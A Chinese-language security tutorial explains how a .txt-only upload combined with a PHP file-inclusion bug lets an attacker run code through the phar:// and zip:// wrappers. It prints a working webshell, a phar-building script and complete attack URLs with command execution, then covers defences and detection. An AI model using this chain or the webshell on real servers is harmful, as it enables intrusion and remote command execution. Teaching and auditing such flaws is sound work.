1. 从一次“失败”的上传说起:理解伪协议的攻击场景

我记得几年前刚接触安全测试的时候,遇到过一个让我印象深刻的案例。那是一个看似非常普通的文件上传点,页面上清清楚楚写着:“仅支持上传.txt文本文件”。我当时试了试,上传一个.php文件,果然直接被拦截了。上传一个.jpg图片,也被拒绝了。页面提示得很明确,只认.txt后缀。很多新手朋友到这里可能就觉得没戏了,认为服务器只检查文件后缀,只要不是.txt就传不上去,那还怎么利用呢?

我当时也是这么想的,直到我发现了页面角落里一个不起眼的链接,上面写着“查看日志”。点进去之后,URL变成了类似 view.php?file=log_20231001.txt 的样子。这个 file 参数立刻引起了我的注意,这很可能是一个文件包含漏洞。我尝试了经典的目录遍历,比如 ../../../../etc/passwd,发现被过滤了。又尝试了 php://input 这类PHP伪协议,发现也被禁止了。看起来防御做得还不错。

但转机就藏在源码里。我习惯性地按F12查看前端代码,在注释里发现了一行提示:<!-- test file: lfi.txt -->。这显然是开发者留下的测试痕迹。我立刻访问 view.php?file=lfi.txt,页面显示了一行字:“File parameter is required.”。这证实了 file 参数确实用于包含文件。我进一步测试,提交 view.php?file=lfi,页面返回了“File parameter is required.”,但URL里的参数变成了 file=lfi.php。这个细节非常关键:无论我传入的 file 参数值是什么,服务器都会自动在后面加上 .php 后缀!

这个逻辑听起来有点矛盾:上传点只允许.txt,但包含点却只包含.php文件。这就像一道门只允许方形积木进入,但门后的机器却只处理圆形积木。单独看每一道防御似乎都有效,但组合在一起,就产生了一条奇妙的攻击路径。我们需要一块“看起来是方形,但实际上是圆形”的积木。这就是 phar 和 zip 伪协议大显身手的地方。它们本质上是一种“包装”技术,能把一个PHP文件(圆形积木)打包进一个压缩文件里,然后把这个压缩文件的后缀改成.txt(方形积木)。上传点看到的是.txt,放行了。当包含点用伪协议去“打开”这个.txt文件时,伪协议会解开压缩包,读取里面真正的PHP文件内容。

所以,整个攻击链条的核心思路就清晰了:利用文件上传获取一个可控的文本文件到服务器,再利用本地文件包含(LFI)漏洞,通过phar或zip伪协议,将这个文本文件“解释”为一个压缩包,并执行其中包裹的恶意代码。 这完美绕过了前后两端的类型限制。

2. 庖丁解牛:phar与zip伪协议的工作原理

要玩转这两种协议,我们不能只停留在“怎么用”的层面,还得稍微了解一下它们“为什么能用”。放心,我不会堆砌晦涩的概念,咱们用几个生活化的比喻来理解。

你可以把 phar协议 想象成一个智能的“自解压包裹”。phar是“PHP Archive”的缩写,本身就是PHP官方支持的一种打包格式,类似于Java的.jar包。一个.phar文件里面可以包含PHP代码、图片、配置文件等等。phar:// 这个流包装器(Stream Wrapper)就是用来读取这个包裹内部文件的。最关键的特性是:phar协议在解析文件时,并不依赖文件的后缀名,而是依赖文件内部的格式签名。 也就是说,哪怕你把一个 shell.phar 文件改名为 shell.txt,只要文件内容的结构符合phar格式,当你用 phar://shell.txt/shell.php 去访问时,PHP依然能正确识别并解包,执行里面的 shell.php。这就像你收到一个快递盒,无论外面贴的标签写的是“书籍”还是“玩具”,只要你打开盒子的方式正确(用phar协议),就能拿到里面真正的物品(PHP代码)。

而 zip协议 就更直观了,它对应我们电脑上常见的.zip压缩包。zip:// 流包装器可以让我们像访问目录一样直接读取zip压缩包里的特定文件,语法是 zip://[压缩文件绝对路径]#[内部文件路径]。这里有一个非常重要的细节:URL中的片段标识符(即#号)在HTTP请求中需要被编码为 %23,否则#号及其后面的内容会被浏览器当作网页锚点处理,根本不会发送到服务器。所以,我们实际构造的Payload会是 zip:///var/www/uploads/shell.txt%23shell.php。它的工作机制是:PHP的zip流包装器会尝试去解析 shell.txt 这个文件,如果它的二进制内容恰好符合zip文件的格式规范,那么它就能成功被解压,并读取其中的 shell.php 文件内容。这相当于你告诉系统:“嘿,别管这个文件叫.txt,请你用解压软件的方式打开它,然后把里面那个叫shell.php的文件给我读出来。”

那么,在攻击中我们如何选择用哪一个呢?原则很简单,看上传点白名单允许什么后缀。

  • 如果上传点只允许 .txt,我们就用 phar协议。因为我们可以生成一个phar格式的文件,然后将其后缀改为.txt。phar协议对文件格式有较强的识别能力。
  • 如果上传点只允许 .zip,我们就用 zip协议。因为我们可以制作一个包含恶意PHP文件的普通zip包,直接上传。在包含时,使用 zip:// 协议去指向它。

它们共同的精髓在于“冒名顶替”和“内部解析”。服务器静态检查(后缀名)和动态执行(伪协议解析)之间的认知差,就是我们可利用的安全缝隙。

3. 手把手实战:构造一个“有毒”的文本文件

光说不练假把式,咱们直接上代码,看看如何一步步构造攻击所需的文件。我会以 phar协议 的攻击为例,因为它在只允许上传txt的场景下更常用。zip协议的利用流程几乎一模一样,只是生成的文件格式不同。

首先,我们需要在本地创建一个恶意的PHP文件,比如一个最简单的WebShell。

<?php
// shell.php - 一个极简的命令执行WebShell
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

接下来,我们需要编写一个PHP脚本,将这个 shell.php 文件打包成一个phar归档文件。请注意,PHP的phar扩展在默认情况下可能是只读的,需要先在 php.ini 中设置 phar.readonly = Off 才能创建phar文件。

<?php
// create_phar.php - 用于生成phar文件的构造器
$phar = new Phar('shell.phar'); // 指定生成的phar文件名
$phar->startBuffering();
// 将我们上面的shell.php文件添加到phar包中,并指定其在包内的路径
$phar->addFile('shell.php', 'shell.php');
// 可以设置存根(stub),这里我们使用最小化的存根
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

echo "phar文件已生成:shell.phar\n";
?>

在命令行执行这个脚本:php create_phar.php。你会得到一个名为 shell.phar 的文件。现在,关键的一步来了:将这个文件改名为 shell.txt。执行 mv shell.phar shell.txt。此时,用文本编辑器打开 shell.txt,你会看到一堆乱码开头,后面可能还跟着一些可读的字符串。这没关系,phar的二进制格式就是这样。

现在,这个 shell.txt 文件就是我们的“特洛伊木马”。从外表看,它是一个纯文本文件(虽然内容是乱码),能顺利通过上传点的后缀检查。但其内部结构是一个合法的phar归档,包含了我们的恶意 shell.php。

为什么不能直接打包一个.txt文件? 有些朋友可能会想,我能不能直接做一个内容为PHP代码的 shell.txt,然后打包?不行。因为我们的目标是让包含点最终执行PHP代码。包含点有自动加 .php 后缀的逻辑,它去包含 phar://shell.txt/shell 时,会变成包含 phar://shell.txt/shell.php。这就要求phar包内部必须真的有一个名为 shell.php 的文件。如果包内文件是 shell.txt,那么包含路径就对应不上,攻击会失败。

对于 zip协议,步骤更简单:

  1. 将 shell.php 文件用任何压缩软件(如WinRAR, 7-Zip)打包成 shell.zip。
  2. 如果上传点只允许.zip,直接上传即可。
  3. 如果上传点有其他限制需要改名,再将 shell.zip 改为允许的后缀,比如 shell.jpg(假设上传点允许图片)。在利用时,使用 zip:// 协议指向这个文件。

4. 串联漏洞:从上传到代码执行的完整攻击链

假设我们已经成功将伪装好的 shell.txt 文件上传到了服务器,并且知道了它的访问路径,例如:/var/www/html/uploads/shell.txt(对应URL可能是 http://target.com/uploads/shell.txt)。同时,我们找到了那个存在文件包含漏洞的页面 view.php,并且知道它会自动追加 .php 后缀。

现在,发起最终攻击的时刻到了。我们向文件包含点发起请求,使用phar协议去“打开”我们上传的那个文本文件。

攻击的URL会是这样构造的:

http://target.com/view.php?file=phar://./uploads/shell.txt/shell

我们来分解一下这个Payload:

  • file=:这是存在漏洞的参数。
  • phar://:告诉PHP,我要使用phar流包装器来读取后面的路径。
  • ./uploads/shell.txt:这是目标phar文件(我们上传的txt)在服务器上相对于当前脚本(view.php)的相对路径。也可以是绝对路径如 /var/www/html/uploads/shell.txt,但相对路径通常更通用。
  • /shell:这是phar包内部我们想要访问的文件路径,注意没有 .php 后缀。
  • 当服务器处理这个请求时,view.php 会获取 file 参数的值 phar://./uploads/shell.txt/shell,然后自动在其后加上 .php 后缀,最终尝试包含的文件路径就变成了 phar://./uploads/shell.txt/shell.php。

这个过程是这样的:

  1. PHP引擎看到 phar:// 协议头,启动phar流包装器。
  2. 流包装器尝试打开 ./uploads/shell.txt 这个文件。
  3. 尽管后缀是.txt,但流包装器会检测文件内容。由于我们是用phar扩展创建的,其二进制头部包含特定的签名,因此被成功识别为一个phar归档文件。
  4. 流包装器接着在这个phar归档中,寻找名为 shell.php 的文件。
  5. 找到后,将其内容提取出来,返回给PHP的包含函数(如 include 或 require)。
  6. 包含函数拿到了 shell.php 的原始代码(即 <?php system($_GET[‘cmd’]);?>),并将其作为PHP代码执行。

至此,我们的WebShell就被成功植入并执行了。我们可以通过访问 http://target.com/view.php?file=phar://./uploads/shell.txt/shell&cmd=whoami 来执行系统命令,whoami 命令的结果会返回在页面上。之后,就可以用中国菜刀、蚁剑等工具连接这个WebShell,进行更深度的渗透。

对于zip协议,攻击Payload的构造核心区别在于协议头和URL编码:

http://target.com/view.php?file=zip:///var/www/html/uploads/shell.jpg%23shell

注意这里使用了三个斜杠 ///,在 zip:// 协议中,后面跟随的是文件的绝对路径。%23 就是 # 的URL编码,用于分隔压缩包路径和内部文件路径。同样,.php 后缀由目标程序自动追加。

5. 防御之道:如何让你的应用“免疫”此类攻击

作为开发者,了解攻击手法是为了更好地防御。这种“组合拳”漏洞的根源在于:上传验证与文件处理逻辑的不一致/不严谨。要防御它,我们需要建立一个多维度的防御体系,而不是仅仅依赖一两个点。

第一道防线:上传验证的强化。

  • 白名单+MIME类型+内容检查:不要只检查文件后缀(黑名单或简单的白名单)。应该结合检查文件的MIME类型(如 $_FILES[‘file’][‘type’]),但请注意MIME类型可以被伪造。最可靠的是进行文件内容头检查。例如,对于图片,用 getimagesize() 函数验证;对于文本文件,可以检查前几个字符是否在可打印字符范围内。对于压缩文件,可以尝试用相关库(如ZipArchive)解压,检查内部文件结构是否合法。让一个PHP文件伪装成合规的txt或zip的成本会高很多。
  • 文件重命名与隔离存储:上传的文件不要使用用户原始文件名,也不要存放在Web目录下。应该使用随机生成的文件名(如UUID),并将扩展名统一改为安全的类型(如 .data)。同时,将上传文件存储在Web根目录之外的特定目录。当需要访问时(如用户下载头像),通过一个安全的代理脚本(如 download.php?id=xxx)来读取文件并输出,而不是让用户直接通过URL访问。这样,即使攻击者上传了恶意文件,他也无法直接定位或通过Web直接触发该文件。

第二道防线:彻底杜绝文件包含漏洞。

  • 完全禁用动态文件包含:这是最根本的解决方案。如果业务上必须包含文件,请使用静态映射或白名单机制。例如,使用一个数组将可包含的“模块名”映射到具体的、固定的文件路径。
    $allowedIncludes = [
        ‘home’ => ‘./templates/home.php’,
        ‘about’ => ‘./templates/about.php’,
    ];
    $page = $_GET[‘page’];
    if (array_key_exists($page, $allowedIncludes)) {
        include($allowedIncludes[$page]);
    } else {
        include(‘./templates/404.php’);
    }
    
  • 严格过滤输入:如果万不得已需要动态包含,必须对输入进行极其严格的过滤。禁止任何包含路径遍历符(../)、协议头(phar://, zip://, php:// 等)的输入。可以使用 basename() 函数获取文件名,并结合白名单。
  • 配置PHP安全设置:在 php.ini 中,将 allow_url_include 设置为 Off,这可以阻止通过 http:// 或 ftp:// 等方式进行远程包含,但请注意,这对 phar:// 和 zip:// 等本地流包装器通常无效。更有效的方法是,在不需要这些流包装器的生产环境中,通过 php.ini 的 disable_functions 或 open_basedir 限制,或者直接不安装相关扩展(如phar扩展)来减少攻击面。

第三道防线:服务器与环境配置。

  • 定期更新与安全审计:保持PHP、Web服务器(Nginx/Apache)及所有中间件的最新版本,及时修补已知漏洞。
  • 最小权限原则:运行Web服务的进程用户(如www-data)应该只拥有必要目录的最小读写权限,尤其要限制其对系统关键目录的写入和执行权限。
  • 部署WAF:Web应用防火墙可以帮助拦截一些常见的攻击Payload,包括对异常协议头和路径遍历的请求。

防御的核心思想是 “纵深防御” 。不要指望单点防护能百分之百生效。通过在上传、存储、访问、解析的每一个环节都设置检查点,即使某一层被绕过,其他层仍然能阻止攻击。作为开发者,在代码审查时,要特别警惕“上传”和“包含”这两个功能点同时出现的场景,它们组合产生的风险远大于各自的风险之和。

6. 进阶思考:伪协议利用的变种与检测

在实际的攻防对抗中,攻击手法总是在进化。除了基本的phar和zip,攻击者可能会尝试其他伪协议或组合技。例如,在某些特定配置下,data:// 协议可能被用于直接执行代码;expect:// 协议可能用于命令执行。而防御方则需要更深入的检测手段。

对于安全研究人员或进行内部审计的开发者来说,可以尝试以下方法进行检测:

  1. 模糊测试(Fuzzing):针对文件包含参数,系统性地注入各种伪协议Payload(如 phar://, zip://, data://, expect://, glob:// 等),观察服务器的响应差异(如错误信息、响应时间、返回内容的变化),从而判断是否存在可用的流包装器。
  2. 静态代码分析:在代码中搜索 include, require, file_get_contents, fopen 等函数,检查其参数是否由用户输入直接或间接控制,且未经过严格过滤。
  3. 动态行为监控:在测试或沙箱环境中,监控Web服务器进程的文件系统操作。当发现进程试图以“读取归档文件”的模式(类似解压行为)去打开一个后缀为 .txt 或 .jpg 的文件时,这很可能就是phar/zip伪协议攻击正在发生的迹象。

攻击方也会寻求绕过防御。比如,如果服务器对 phar:// 进行了关键词过滤,可能会尝试使用大小写混淆(PHAR://)、双重编码、或者利用过滤逻辑缺陷。又或者,如果服务器禁止了 ../,攻击者可能会尝试使用绝对路径进行包含。这就要求防御逻辑必须严谨且全面。

理解这些攻防细节,不仅能让我们在渗透测试中更得心应手,更能让我们在编写代码时,下意识地避免那些常见的陷阱。安全本质上是一种对抗性思维,你多考虑一步攻击者会怎么做,你的代码就更健壮一分。我在多年的项目审计中,发现很多严重漏洞都源于开发者在设计功能时,只考虑了“正常流程”,而缺乏对“异常输入”和“功能组合”的充分思考。phar/zip伪协议利用文件上传+包含这个经典组合,正是对此最好的警示。

更多推荐